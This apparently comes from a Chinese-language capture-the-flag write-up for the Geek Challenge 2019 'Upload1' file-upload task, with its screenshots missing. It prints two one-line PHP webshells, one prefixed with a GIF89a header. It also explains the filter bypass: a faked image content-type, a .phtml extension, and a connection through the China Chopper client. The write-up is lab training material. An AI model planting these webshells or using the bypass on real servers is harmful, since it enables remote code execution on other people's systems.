[极客大挑战 2019]Upload1

又是一道菜刀题。

这道题的难点在于一句话木马的变更。很多平常用的一句话木马在这道题就不能用了。

打开题目页面如下：

这道题的一句话木马如下：

GIF89a? <script language="php">eval($_REQUEST[1])</script>

而我们之前常用的一句话木马差不多是这个样子：

   <?php @eval($_POST['attack']);?>

但是恰巧这道题对上传的文件进行了过滤，比如说过滤了 <?

好了言归正传，随便传点什么

 （我估摸着我上传的是常规的图片啊。。。）

试着上传木马。

 抓包显示如下，可以看见我们已经把木马上传了

 然而页面回显是这样的。。。

一般来说上传文件都要检查几点：content-type，文件头，还有后缀名

要把上传文件的格式改成content-type:image/jpeg

后缀改成phtml，因为其他后缀如php,php3,php4,php5都不行，而phtml这里恰好可以。

再来试试。

 

文件被解析了，并且被发现了很多一句话木马的特征，就是包含 <? 。那么我们换一个一句话木马。

结果来了跟阴间的东西。应该是文件头被检查了，随便加点图片什么的文件头，比方说GIF的GIF89a?

 

 把木马改成这样，

 

 

 

可以看见，上传成功了。

然后是菜刀时间。

连接上木马就行了。

后记：

一句话木马偶尔很阴间

菜刀有时候不好使（不知道是不是BUU的环境的问题）

总之加油啦( ﾟ∀。)